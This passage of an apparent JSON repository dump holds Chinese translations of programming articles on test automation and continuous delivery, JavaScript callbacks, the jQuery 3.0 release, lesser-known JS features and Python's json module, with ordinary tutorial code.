.pause(1000)\n          .assert.containsText('#main', 'Night Watch')\n          .end();\n      }\n    };\n\n正如你所看到的，在中间环境中，和在生产环境中，功能测试点击真实的 Url，他们通过模拟用户的真实操作来工作。他们可以单击按钮、 输入文本、 等待待页面上的更新，通过检验页面 UI 来做断言。\n\n### 冒烟测试\n\n当你部署了一个新的发布到生产环境后，很重要的一点就是确定它是否正常工作。你不希望你的用户比你还先发现错误 —— 因为这会赶走用户！\n\n维护一份自动化的功能测试 - 比方说烟雾测试，是很重要的。测试你应用中所有的重要功能。那些用户在日常操作中会遇到的请求。\n\n冒烟测试不是功能测试的唯一作用， 但是在我看来，却是最有意义的\n\n## 为什么要持续发布产品？\n\n在持续交付革命之前，软件发布都是使用瀑布过程。软件发布通过以下步骤，一次一个，每一步必须在下一步之前完成︰\n\n1. 收集需求\n2. 设计\n3. 实现\n4. 检验\n5. 部署\n6. 维护\n\n它之所以被称为瀑布，是因为如果你记录它从右到左的运行的时间，它看起来像从一个任务到下一个级联的瀑布。换句话说，在理论上你不能同时做这些事情。\n\n实际上，很多正在开发的项目的需求是在开发中才被发现的，而需求的变更常常导致灾难性的工程延误和返工。不可避免地，业务团队也会想\"简单的改变”在发布后的产品，而不打算通过整个昂贵、 耗时的瀑布式的过程，这经常导致在无限循环的变化管理会议和产品热修复。\n\n一个理论上的瀑布过程可能只是一个神话。在我的长长的职业生涯中，我与数百家企业，进行了磋商，但我从没见在真正的生产中见过完美的瀑布。典型的瀑布的发布周期可能会是几个月或几年。\n\n## 持续发布的解决办法\n\n持续发布法是一种开发方法，承认需求是随着项目的进展而被挖掘的，鼓励在短周期内增量改进软件，并确保不会导致问题，在任何时候软件发布。\n\n有了迭代，软件的改进可以在短短数小时内就上线。\n\n对比瀑布方案，我在无数的企业组织中都见过迭代开发顺利进行 —— 但我从没见过哪一个是在没有单元和功能的测试组件的情况下完成的，通常，测试组件也会包括集成测试。\n\n希望我的这篇文章告诉了你开始迭代发布所需要知道的所有内容。\n\n## 结论\n\n正如你所看到的，每种类型的测试发挥了重要作用。单元测试能够快速的反馈开发者，集成测试会覆盖所有的角落的组件，而功能测试确保一切最终用户的那里的情况一切正常。\n。\n\n至于您如何使用自动的测试您的代码，以及它们如何影响您的信心和生产力？请亲们尽情的留下评论！\n"
  },
  {
    "path": "TODO/javascript-what-the-heck-is-a-callback.md",
    "content": "> * 原文地址：[JavaScript: What the heck is a Callback?](https://codeburst.io/javascript-what-the-heck-is-a-callback-aba4da2deced)\n> * 原文作者：[Brandon Morelli](https://codeburst.io/@bmorelli25)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[sunui](https://github.com/sunui)\n> * 校对者：[reid3290](https://github.com/reid3290)、[wilsonandusa](https://github.com/wilsonandusa)\n\n---\n\n# JavaScript：回调是什么鬼？\n\n配合简单的示例，用短短 6 分钟学习和理解回调的基本知识。\n\n![](https://cdn-images-1.medium.com/max/1000/1*pWGJIKats-zuumA3RQNEWQ.jpeg)\n\n回调  —— 题图来自 [unsplash](https://unsplash.com/search/call?photo=qXn5L9BqRbE)\n\n### 回调是什么？\n\n**简单讲：** 回调是指在另一个函数执行完成**之后**被调用的函数  ——  因此得名“回调”。\n\n**稍复杂地讲：** 在 JavaScript 中，函数也是对象。因此，函数可以传入函数作为参数，也可以被其他函数返回。这样的函数称为**高阶函数**。被作为参数传入的函数就叫做**回调函数**。\n\n\n^ 这听起来有点啰唆，让我们来看一些例子来简化一下。\n\n### 为什么我们需要回调？\n\n有一个非常重要的原因 —— JavaScript 是事件驱动的语言。这意味着，JavaScript 不会因为要等待一个响应而停止当前运行，而是在监听其他事件时继续执行。来看一个基本的例子：\n\n    function first(){\n      console.log(1);\n    }\n\n    function second(){\n      console.log(2);\n    }\n\n    first();\n    second();\n\n正如你所料，`first` 函数首先被执行，随后 `second` 被执行 —— 控制台输出下面内容：\n\n    // 1\n    // 2\n\n一切都如此美好。\n\n但如果函数 `first` 包含某种不能立即执行的代码会如何呢？例如我们必须发送请求然后等待响应的 API 请求？为了模拟这种状况，我们将使用 `setTimeout`，它是一个在一段时间之后调用函数的 JavaScript 函数。我们将函数延迟 500 毫秒来模拟一个 API 请求，新代码长这样：\n\n    function first(){\n    // 模拟代码延迟\n      setTimeout( function(){\n    console.log(1);\n      }, 500 );\n    }\n\n    function second(){\n      console.log(2);\n    }\n\n    first();\n    second();\n\n现在理解 `setTimeout()` 是如何工作的并不重要，重要的是你看到了我们已经把 `console.log(1);` 移动到了 500 秒延迟函数内部。那么现在调用函数会发生什么呢？\n\n    first();\n    second();\n\n    // 2\n    // 1\n\n即使我们首先调用了 `first()` 函数，我们记录的输出结果却在 `second()` 函数之后。\n\n这不是 JavaScript 没有按照我们想要的顺序执行函数的问题，而是 **JavaScript 在继续向下执行 `second()` 之前没有等待 `first()` 响应**的问题。\n\n所以为什么给你看这个？因为你不能一个接一个地调用函数并希望它们按照正确的顺序执行。回调正是确保一段代码执行完毕之后再执行另一段代码的方式。\n\n### 创建一个回调\n\n好了，说了这么多，让我们创建一个回调！\n\n首先，打开你的 Chrome 开发者工具（**Windows: Ctrl + Shift + J**)(**Mac: Cmd + Option + J**），在控制台输入下面的函数声明：\n\n    function doHomework(subject) {\n      alert(`Starting my ${subject} homework.`);\n    }\n\n上面，我们已经创建了 `doHomework` 函数。我们的函数携带一个变量，是我们正在研究的课题。在控制台输入下面内容调用你的函数：\n\n    doHomework('math');\n\n    // Alerts: Starting my math homework.\n\n现在把我们的回调加进来，我们传入 `callback` 作为 `doHomework()` 的最后一个参数。这个回调函数是我们定义在接下来要调用的 `doHomework()` 函数的第二个参数。\n\n    function doHomework(subject**, callback**) {\n      alert(`Starting my ${subject} homework.`);\n    **callback();**\n    }\n\n    doHomework('math'**, function() {\n      alert('Finished my homework');\n    }**);\n\n如你所见，如果你将上面的代码输入控制台，你将依次得到两个警告：第一个是“starting homework”，接着是“finished homework”。\n\n但是你的回调函数并不总是必须定义在函数调用里面，它们也可以定义在你代码中的其他位置，比如这样：\n\n    function doHomework(subject, callback) {\n      alert(`Starting my ${subject} homework.`);\n      callback();\n    }\n\n    function alertFinished(){\n      alert('Finished my homework');\n    }\n\n    **doHomework('math', alertFinished);**\n\n这个例子的结果和之前的例子完全一致。如你所见，我们在 `doHomework()` 函数调用中传入了 `alertFinished` 函数定义作为参数！\n\n### 实际应用案例\n\n上周我发表了一篇关于如何[用 38 行代码构建一个 Twitter 机器人](https://hackernoon.com/build-a-simple-twitter-bot-with-node-js-in-just-38-lines-of-code-ed92db9eb078)的文章。文中的代码可以实现的唯一原因就是我使用了 [Twitters API](https://dev.twitter.com/rest/public)。当你向一个 API 发送请求，在你操作响应内容之前你必须等待这个响应。这是回调在实际应用中的绝佳案例。请求长这样：\n\n    T.get('search/tweets', params, function(err, data, response) {\n      if(!err){\n        // 这里是施展魔法之处\n      } else {\n        console.log(err);\n      }\n    })\n\n- `T.get` 仅仅意味着我们将要向 Twitter 发送一个 get 请求\n- 这个请求中有三个参数：`‘search/tweets’` 是请求的路径，`params` 是搜索参数，随后的一个匿名函数是我们的回调。\n\n回调在这里很重要，因为在我们的代码继续运行之前我们需要等待一个来自服务端的响应。我们并不知道 API 请求会成功还是会失败，所以通过 get 向 search/tweets 发送了请求参数以后，我们要等待。一旦 Twitter 响应，我们的回调函数就被调用。Twitter 要么发送一个 `err`（error）对象，要么发送一个 `response` 对象返回给我们。在我们的回调函数中我们可以使用 `if()` 语句来区分请求是否成功，然后相应地处理新数据。\n\n### 你做到了\n\n干得漂亮！你现在（理想状况下）已经理解了回调是什么，回调如何工作。这只是回调的冰山一角，记住学无止境啊！我每周都会更新一些文章/教程，如果你愿意接收每周一次的推送，[点击这里](https://docs.google.com/forms/d/e/1FAIpQLSeQYYmBCBfJF9MXFmRJ7hnwyXvMwyCtHC5wxVDh5Cq--VT6Fg/viewform)输入你的邮箱订阅吧！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/jquery-3-0-final-released.md",
    "content": ">* 原文链接 : [jQuery 3.0 Final Released!](https://blog.jquery.com/2016/06/09/jquery-3-0-final-released/)\n* 原文作者 : [Timmy Willison](https://blog.jquery.com/author/timmywil/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Dwight](https://github.com/ldhlfzysys)\n* 校对者: [buccoji](https://github.com/buccoji), [thanksdanny](https://github.com/thanksdanny)\n\n# jQuery 终于发布了\n\n从2014年10月开发到现在，jQuery 3.0终于发布了！我们的目的是创造一个更苗条、更快的jQuery版本（并且考虑到了向后兼容性）。我们已经删除了旧的IE浏览器的解决方案支持并且采用了一些更现代化的 web API。它是2.x分支的延续，并且加入了几项我们认为早该加入的重大改变。虽然 1.12 和 2.2 分支在短时间内会继续收到关键的补丁，但不会有新的功能和重大更改。jQuery 3.0是jQuery的未来。如果你需要支持IE6-8，你可以继续使用1.12的最新版本。\n\n虽然一下升级到了3.0版本，我们预计在升级现有代码的时候不会发生太多问题。当然，此次主版本号的更新有着打破一切的大改变，但我们希望这些改变不会破坏大多数人的代码。\n\n为了帮助大家升级，我们有一个全新的升级指南 [3.0 Upgrade Guide](https://jquery.com/upgrade-guide/3.0/)。和迁移插件 [jQuery Migrate 3.0 plugin](https://github.com/jquery/jquery-migrate#migrate-older-jquery-code-to-jquery-30) 来帮助你定位代码的兼容问题。 你对这些变化的反馈将极大的帮助我们，所以请尝试在你现有的代码和插件里使用它们。\n\n你可以从 jQuery CDN 获取这些文件, 或直接链接它们:\n\n[https://code.jquery.com/jquery-3.0.0.js](https://code.jquery.com/jquery-3.0.0.js)\n\n[https://code.jquery.com/jquery-3.0.0.min.js](https://code.jquery.com/jquery-3.0.0.min.js)\n\n通过 npm 安装:\n\n    npm install jquery@3.0.0\n\n此外，我们已经发布 jQuery Migrate 3.0（迁移插件）。我们极度推荐使用它来解决迁移jQuery 3.0时遇到的所有问题。你可以在这里获取这些文件：\n\n[https://code.jquery.com/jquery-migrate-3.0.0.js](https://code.jquery.com/jquery-migrate-3.0.0.js)\n\n[https://code.jquery.com/jquery-migrate-3.0.0.min.js](https://code.jquery.com/jquery-migrate-3.0.0.min.js)\n\n    npm install jquery-migrate@3.0.0\n\n在这里查看更多关于升级 jQuery 1.x 和 2.x 到 3.0 过程中 jQuery Migrate 的帮助信息：\n[the jQuery Migrate 1.4.1 blog post](http://blog.jquery.com/2016/05/19/jquery-migrate-1-4-1-released-and-the-path-to-jquery-3-0/).\n\n### 精简版\n\n最后，此次发布我们还加入了一些新东西。有时你并不需要ajax，或者在众多独立库中你只需要一个用于 ajax 请求的库。以往，更简单的方式是使用CSS和类的组合操作来满足所有的web动画需求。针对普通版的jQuery包含ajax和effects modules（效果模块），我们发布了没有这些内容的精简版。总而言之，精简版删除了ajax,effects和已经废弃的代码。jQuery的大小和对加载性能的影响已经微乎其微，但是精简版仍在gzip压缩下比普通版小了6k左右，23.6k vs 30k。这些文件也都可以在npm包和CDN获得。\n\n[https://code.jquery.com/jquery-3.0.0.slim.js](https://code.jquery.com/jquery-3.0.0.slim.js)\n\n[https://code.jquery.com/jquery-3.0.0.slim.min.js](https://code.jquery.com/jquery-3.0.0.slim.min.js)\n\n此版本是通过我们的自定义建构 API 生成，因此你可以按照自己的需求来选择添加或剔除某些模块。更多的信息请看： [jQuery README](https://github.com/jquery/jquery/blob/master/README.md#how-to-build-your-own-jquery)。\n\n\n##  jQuery UI 和 jQuery Mobile 的兼容\n\n\n虽然大部分是没有问题的，但是有几个jQuery UI和jQuery Mobile的兼容问题已经在即将发布的版本里被解决，如果你发现问题，请记住它有可能已经在上游被解决，用[jQuery Migrate 3.0 plugin](http://code.jquery.com/jquery-migrate-3.0.0.js)来修复它，新版本预计很快发布。\n\n## 主要的变化\n\n这些发布中，高亮的地方表示重要的新特性、改进和bug修复。你可以在[3.0 Upgrade Guide](https://jquery.com/upgrade-guide/3.0/)挖掘更详细的信息。完整的问题解决列表在我们的[GitHub bug tracker](https://github.com/jquery/jquery/issues?q=is%3Aissue+milestone%3A3.0.0)。如果你看了 3.3.0-rc1的博客帖子，以下说的和博客里是一样的。\n\n### jQuery.Deferred 已经兼容 Promises/A+ 规范\n\n\njQuery.Deferred 对象已经升级兼容 Promises/A+ 和 ES2015 规范，且已在[Promises/A+ Compliance Test Suite](https://github.com/promises-aplus/promises-tests)验证。这意味着`.then()`方法会有一些重大的改变。Legacy行为可以通过使用现在不宜用的.pipe()方法(具有签名认证)来代替.then()使用来重新获取\n\n1.  在`.then()` 抛出异常变成一个拒绝值。以前，异常在回调里被一路抛出。任何deferred对象依靠deferred抛出异常的方式都无法解决问题。\n\n#### 示例: 未捕获异常 vs. 拒绝值\n\n    var deferred = jQuery.Deferred();\n    deferred.then(function() {\n      console.log(\"first callback\");\n      throw new Error(\"error in callback\");\n    })\n    .then(function() {\n      console.log(\"second callback\");\n    }, function(err) {\n      console.log(\"rejection callback\", err instanceof Error);\n    });\n    deferred.resolve();\n\n在以前，“first callback” 将会打印，异常会被抛出。然后就会终止，\"second callback\" 和 “rejection callback” 都不会被打印。在新版里，符合标准的行为是你将会看到 \"rejection callback\" 和 `true` 被打印，`err` 是第一个回调的拒绝值。\n\n2.  通过`.then()`创建Deferred的resolution状态现在是被它的回调函数控制-异常将会是拒绝值（rejection values）且 non-thenable 返回的结果是 fulfillment 值。而之前的版本中，拒绝处理 （rejection handler）返回的结果是 rejection 值\n\n#### 示例: 来自拒绝回调函数的返回值\n\n    var deferred = jQuery.Deferred();\n    deferred.then(null, function(value) {\n      console.log(\"rejection callback 1\", value);\n      return \"value2\";\n    })\n    .then(function(value) {\n      console.log(\"success callback 2\", value);\n      throw new Error(\"exception value\");\n    }, function(value) {\n      console.log(\"rejection callback 2\", value);\n    })\n    .then(null, function(value) {\n      console.log(\"rejection callback 3\", value);\n    });\n    deferred.reject(\"value1\");\n\n以前，将会打印“rejection callback 1 value1”, “rejection callback 2 value2”, 和 “rejection callback 3 undefined”.\n\n现在，符合标准的行为是打印“rejection callback 1 value1”, “success callback 2 value2″, 和 “rejection callback 3 [object Error]”\n\n3.  回调通常是异步的，即使Deferred已被解决。在这之前，这些回调一经绑定会同步执行。\n\n#### 示例: 异步 vs 同步\n\n    var deferred = jQuery.Deferred();\n    deferred.resolve();\n    deferred.then(function() {\n      console.log(\"success callback\");\n    });\n    console.log(\"after binding\");\n\n以前，会先打印 “success callback” 然后打印 “after binding”。现在，先打印 “after binding” 然后打印 “success callback”.\n\n#### 重要：当捕获异常时有利于在浏览器中进行调试，通过拒绝回调函数来处理异常非常具有陈述性。当与promises打交道时，记住至少要增加一个拒绝回调函数。否则，任何错误都不会提示。\n\n我们写了一个插件用来调试 Deferreds 的 Promises/A+ 兼容性。如果在控制台无法看到错误的详细信息和来源，可查阅这里[jQuery Deferred Reporter Plugin](https://github.com/dmethvin/jquery-deferred-reporter).\n\n`jQuery.when` 升级后可以接受所有thenable 对象，包括原生的 Promise 对象。\n\n[https://github.com/jquery/jquery/issues/1722](https://github.com/jquery/jquery/issues/1722)  \n[https://github.com/jquery/jquery/issues/2102](https://github.com/jquery/jquery/issues/2102)\n\n### 为 Deferreds 添加 .catch()\n\n`catch()`方法在promise 对象中的别名是 `.then(null, fn)`。\n\n[https://github.com/jquery/jquery/issues/2102](https://github.com/jquery/jquery/issues/2102)\n\n### 错误情况不静默失败\n\n也许在夜深人静的时候，你突然会想“window的offset是多少？”，然后你意识到这是一个疯狂的问题 —— window哪来的offset？\n\n在过去，jQuery 也尝试过去返回*某些东西*而不是抛出异常。在这个window的offset问题的例子里，在jQuery 3.0里答案是`{ top: 0, left: 0 }`，这种情况下，疯狂的问题会抛出错误而不是被默默的忽略了。请在这个版本里试试所有以来jQuery的代码是否会影藏类似无效的输入。\n\n[https://github.com/jquery/jquery/issues/1784](https://github.com/jquery/jquery/issues/1784)\n\n### 删除弃用的事件别名\n\n`.load`, `.unload`, 和 `.error`, 在jQuery 1.8后被废弃，使用 `.on()` 来注册监听器。\n\n[https://github.com/jquery/jquery/issues/2286](https://github.com/jquery/jquery/issues/2286)\n\n### 动画现在使用`requestAnimationFrame`\n\n在支持`requestAnimationFrame` API的平台上，除IE9和Android4.4外，几乎被广泛支持。jQuery现在也将使用这个API来处理动画。这将让动画更加顺滑、更少的cpu消耗，在移动端也将更省电。\n\njQuery在几年前曾尝试使用`requestAnimationFrame`。但现存代码有有几个[严重兼容性问题](http://blog.jquery.com/2011/09/01/jquery-1-6-3-released/)不得不推迟。我们认为通过在浏览器选显卡显示的时候暂定动画处理好了大部分问题，但是，所有依赖动画的代码想要实时执行是不切合实际的。\n\n### jQuery自定义选择器的大提速\n\n感谢来自谷歌的 Paul Irish的检测工作，我们发现当`:visible`这种的自定义选择器在同一份文件中被多次执行时，大量额外的运算可以省略跳过。现在这一类的运算速度提升了 17 倍！\n\n要记住的是，尽管有了这些改进，但像 `:visible` 和 `:hidden` 这类选择器耗时代价还是很高的，因为依赖浏览器上的元素是否已经展示出来。在最坏的情况下，这可能需要在完全重算CSS样式和页面布局后才能执行。大部分情况我们不能阻止你去使用它，但我们建议你可以测试一下你的页面，看看这些选择器是否造成了性能问题。\n\n这些改动其实在1.12/2.2就已经完成了，但是我们还是想在jQuery 3.0里重申一次。\n\n[https://github.com/jquery/jquery/issues/2042](https://github.com/jquery/jquery/issues/2042)\n\n如上面提到的，[升级指南](https://jquery.com/upgrade-guide/3.0/) 已为各位备好，除了有助于升级，还列出了更多显著的变化。\n\n"
  },
  {
    "path": "TODO/js-things-i-never-knew-existed.md",
    "content": "> * 原文地址：[JS things I never knew existed](https://air.ghost.io/js-things-i-never-knew-existed/)\n> * 原文作者：[Skyllo](https://air.ghost.io/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/js-things-i-never-knew-existed.md](https://github.com/xitu/gold-miner/blob/master/TODO/js-things-i-never-knew-existed.md)\n> * 译者：[Yong Li](https://github.com/NeilLi1992)\n> * 校对者：[Yukiko](https://github.com/realYukiko)，[dz](https://github.com/dazhi1011)\n\n# 我未曾见过的 JS 特性\n\n有一天我正在阅读 MDN 文档，发现了一些我之前压根没有意识到在 JS 中存在的特性和 API。这里我罗列了一些，不管它们是否有用，JS 的学习永无止境。\n\n## [标记语句](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/label)\n\n有多少人知道在 JS 里你可以给 `for` 循环和语句块命名？反正我不知道…… 命名完新名称之后你可以在 `for` 循环中的 `break` 和 `continue` 之后、语句块中的 `break` 之后\u001d使用新名称。\n\n```\nloop1: // 标记 \"loop1\" \nfor (let i = 0; i < 3; i++) { // \"loop1\"\n   loop2: // 标记 \"loop2\"\n   for (let j = 0; j < 3; j++) { // \"loop2\"\n      if (i === 1) {\n         continue loop1; // 继续外层的 \"loop1\" 循环\n         // break loop1; // 中止外层的 \"loop1\" 循环\n      }\n      console.log(`i = ${i}, j = ${j}`);\n   }\n}\n\n/* \n * # 输出\n * i = 0, j = 0\n * i = 0, j = 1\n * i = 0, j = 2\n * i = 2, j = 0\n * i = 2, j = 1\n * i = 2, j = 2\n */\n```\n\n下面是语句块命名的例子，在语句块中你只能在 `break` 之后使用新命名。\n\n```\nfoo: {\n  console.log('one');\n  break foo;\n  console.log('这句打印不会被执行');\n}\nconsole.log('two');\n\n/*\n * # 输出\n * one\n * two\n */\n```\n\n## [\"void\" 运算符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/void)\n\n我一度以为我已经了解了所有的运算符，直到我看到了这一个。它从 [1996 年](https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/1.1) 起就存在于 JS 了。所有的浏览器都支持，并且它也很容易理解，引用自 MDN：\n\n> void 运算符对给定的表达式进行求值，然后返回 undefined。\n\n使用它，你可以换一种方式来写立即调用的函数表达式（IIFE），就像这样：\n\n```\nvoid function iife() {\n\tconsole.log('hello');\n}();\n\n// 和下面等效\n\n(function iife() {\n    console.log('hello');\n})()\n```\n\n使用 `void` 的一个注意点是，无论给定的表达式返回结果是什么，void 运算符的整体结果都是空的（undefined）！\n\n```\nconst word = void function iife() {\n\treturn 'hello';\n}();\n\n// word 是 `undefined`\n\nconst word = (function iife() {\n\treturn 'hello';\n})();\n\n// word 是 \"hello\"\n```\n\n你也可以和 `async` 一起使用 `void`，这样你就能把函数作为异步代码的入口：\n\n```\nvoid async function() { \n    try {\n        const response = await fetch('air.ghost.io'); \n        const text = await response.text();\n        console.log(text);\n    } catch(e) {\n        console.error(e);\n    }\n}()\n\n// 或者保持下面的写法\n\n(async () => {\n    try {\n        const response = await fetch('air.ghost.io'); \n        const text = await response.text();\n        console.log(text);\n    } catch(e) {\n        console.error(e);\n    }\n})();\n```\n\n## [逗号运算符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comma_Operator)\n\n在学习了逗号运算符之后，我意识到了之前我并不完全清楚其工作原理。下面是来自 MDN 的引用：\n\n> 逗号运算符对它的每个操作数求值（从左到右），并返回最后一个操作数的值。\n\n```\nfunction myFunc() {\n  let x = 0;\n  return (x += 1, x); // 等价于 return ++x;\n}\n\ny = false, true; // console 中得到 true\nconsole.log(y); // false，逗号优先级低于赋值\n\nz = (false, true); // console 中得到 true\nconsole.log(z); // true，括号中整体返回 true\n```\n\n### 配合 [条件运算符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator)\n\n逗号运算符中的最后一个值作为返回给条件运算符的值，因此你可以在最后一个值前面放任意多个表达式。在下面的例子中，我在返回的布尔值之前放了打印语句。\n\n```\nconst type = 'man';\n\nconst isMale = type === 'man' ? (\n    console.log('Hi Man!'),\n    true\n) : (\n    console.log('Hi Lady!'),\n    false\n);\n\nconsole.log(`isMale is \"${isMale}\"`);\n```\n\n## [国际化 API](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl)\n\n即使在最有利的情况下，国际化还是很难做好。幸好还有一套大部分浏览器都支持得不错的 [API](https://caniuse.com/#feat=internationalization)。其中我最爱的一个特性就是日期格式化，见下面的例子：\n\n\n```\nconst date = new Date();\n\nconst options = {\n  year: 'numeric', \n  month: 'long', \n  day: 'numeric'\n};\n\nconst formatter1 = new Intl.DateTimeFormat('es-es', options);\nconsole.log(formatter1.format(date)); // 22 de diciembre de 2017\n\nconst formatter2 = new Intl.DateTimeFormat('en-us', options);\nconsole.log(formatter2.format(date)); // December 22, 2017\n```\n\n## [管道操作符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Pipeline_operator)\n\n在此篇成文之时，该功能只有 Firefox 58 及以上版本通过传入启动参数来支持，不过 Babel 已经有一个针对它的 [插件提议](https://github.com/babel/babel/tree/master/packages/babel-plugin-proposal-pipeline-operator)。它看起来应该是受到 bash 的启发，我觉得很棒！\n\n```\nconst square = (n) => n * n;\nconst increment = (n) => n + 1;\n\n// 不使用管道操作符\nsquare(increment(square(2))); // 25\n\n// 使用管道操作符\n2 |> square |> increment |> square; // 25\n```\n\n## 值得一提\n\n### [Atomics](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Atomics)\n\n当数据被多个线程共享时，原子操作确保正在读和写的数据是符合预期的，即下一个原子操作一定会在上一个原子操作结束之后才会开始。这有利于保持不同线程间的数据同步（比如主线程和另一条 WebWorker 线程）。\n\n我很喜欢如 Java 等其它语言中的原子性。我预感当越来越多的人使用 WebWorkers，将操作从主线程分离出来时，原子操作的使用会越来越广泛。\n\n### [Array.prototype.reduceRight](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/ReduceRight)\n\n好吧，我之前从未见过这个，因为它基本等同于 `Array.prototype.reduce()` + `Array.prototype.reverse()` 并且你很少需要这么做。但如果你有这需求的话，`reduceRight` 是最好的选择！\n\n```\nconst flattened = [[0, 1], [2, 3], [4, 5]].reduceRight(function(a, b) {\n    return a.concat(b);\n}, []);\n\n// flattened array is [4, 5, 2, 3, 0, 1]\n```\n\n### [setTimeout() 参数](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout)\n\n这个早就存在了，但如果我早点知道的话，我大概可以省去很多的 `.bind(...)`。\n\n```\nsetTimeout(alert, 1000, 'Hello world!');\n\n/*\n * # alert 输出\n * Hello World!\n */\n\nfunction log(text, textTwo) {\n    console.log(text, textTwo);\n}\n\nsetTimeout(log, 1000, 'Hello World!', 'And Mars!');\n\n/*\n * # 输出\n * Hello World! And Mars!\n */\n```\n\n### [HTMLElement.dataset](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/dataset)\n\n在此之前我一直对 HTML 元素使用自定义数据属性 `data-*`，因为我不曾意识到存在一个 API 来方便地查询它们。除了个别的命名限制之外（见上面的链接），它的作用基本就是在 JS 中查询的时候允许你使用驼峰命名法（camelCase）来查询「减号-命名」（dash-case）的属性。所以属性名 `data-birth-planet` 在 JS 中就变成了 `birthPlanet`。\n\n```\n<div id='person' data-name='john' data-birth-planet='earth'></div>\n```\n\n查询：\n\n```\nlet personEl = document.querySelector('#person');\n\nconsole.log(personEl.dataset) // DOMStringMap {name: \"john\", birthPlanet: \"earth\"}\nconsole.log(personEl.dataset.name) // john\nconsole.log(personEl.dataset.birthPlanet) // earth\n\n// 你也可以在程序中添加属性\npersonEl.dataset.foo = 'bar';\nconsole.log(personEl.dataset.foo); // bar\n```\n\n## 结束语\n\n我希望你和我一样在这里学到了一些新知识。在此也\b赞一下 Mozila 新的 MDN 站点，看起来非常棒，我花了比想象中更多的时间来阅读文档。\n\n_修订: 修正几处命名并且为 `async` 函数添加 `try`, `catch`。感谢 Reddit！_\n\n2018 新年快乐！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/json-javascript-object-notation.md",
    "content": "> * 原文地址：[json — JavaScript Object Notation](https://pymotw.com/3/json/)\n> * 原文作者：[pymotw.com](pymotw.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/json-javascript-object-notation.md](https://github.com/xitu/gold-miner/blob/master/TODO/json-javascript-object-notation.md)\n> * 译者：[snowyYU](https://github.com/snowyYU)\n> * 校对者：[Starriers](https://github.com/Starriers), [zhmhhu](https://github.com/zhmhhu)\n\n# json — JavaScript 对象表示法\n\n目的：实现 Python 对象和 JSON 字符串间的相互转化。\n\n`json` 模块提供了一个类似于 [`pickle`](https://pymotw.com/3/pickle/index.html#module-pickle) 的 API，用于将内存中的 Python 对象转换为 JavaScript Object Notation（JSON）的序列化表示形式。相较于 pickle，JSON 优势之一就是被许多语言实现和应用（特别是 JavaScript）。它被广泛用于 REST API 中Web服务器和客户端之间的通信，此外也可用于其他应用程序间的通信。\n\n## 编码和解码简单的数据类型\n\nJSON 编码器原生支持 Python 的基本类型 (`str`, `int`, `float`, `list`, `tuple`, 和 `dict`).\n\n```\n# json_simple_types.py\n\nimport json\n\ndata = [{'a': 'A', 'b': (2, 4), 'c': 3.0}]\nprint('DATA:', repr(data))\n\ndata_string = json.dumps(data)\nprint('JSON:', data_string)\n```\n\n值的编码方式看起来类似于 Python 的 `repr()` 输出。\n\n```\n$ python3 json_simple_types.py\n\nDATA: [{'c': 3.0, 'b': (2, 4), 'a': 'A'}]\nJSON: [{\"c\": 3.0, \"b\": [2, 4], \"a\": \"A\"}]\n```\n\n编码之后再解码，将可能得到并不完全相同的对象类型。\n\n```\n# json_simple_types_decode.py\n\nimport json\n\ndata = [{'a': 'A', 'b': (2, 4), 'c': 3.0}]\nprint('DATA   :', data)\n\ndata_string = json.dumps(data)\nprint('ENCODED:', data_string)\n\ndecoded = json.loads(data_string)\nprint('DECODED:', decoded)\n\nprint('ORIGINAL:', type(data[0]['b']))\nprint('DECODED :', type(decoded[0]['b']))\n```\n\n特别注意，元组会转化成列表。\n\n```\n$ python3 json_simple_types_decode.py\n\nDATA   : [{'c': 3.0, 'b': (2, 4), 'a': 'A'}]\nENCODED: [{\"c\": 3.0, \"b\": [2, 4], \"a\": \"A\"}]\nDECODED: [{'c': 3.0, 'b': [2, 4], 'a': 'A'}]\nORIGINAL: <class 'tuple'>\nDECODED : <class 'list'>\n```\n\n## 可读性 vs. 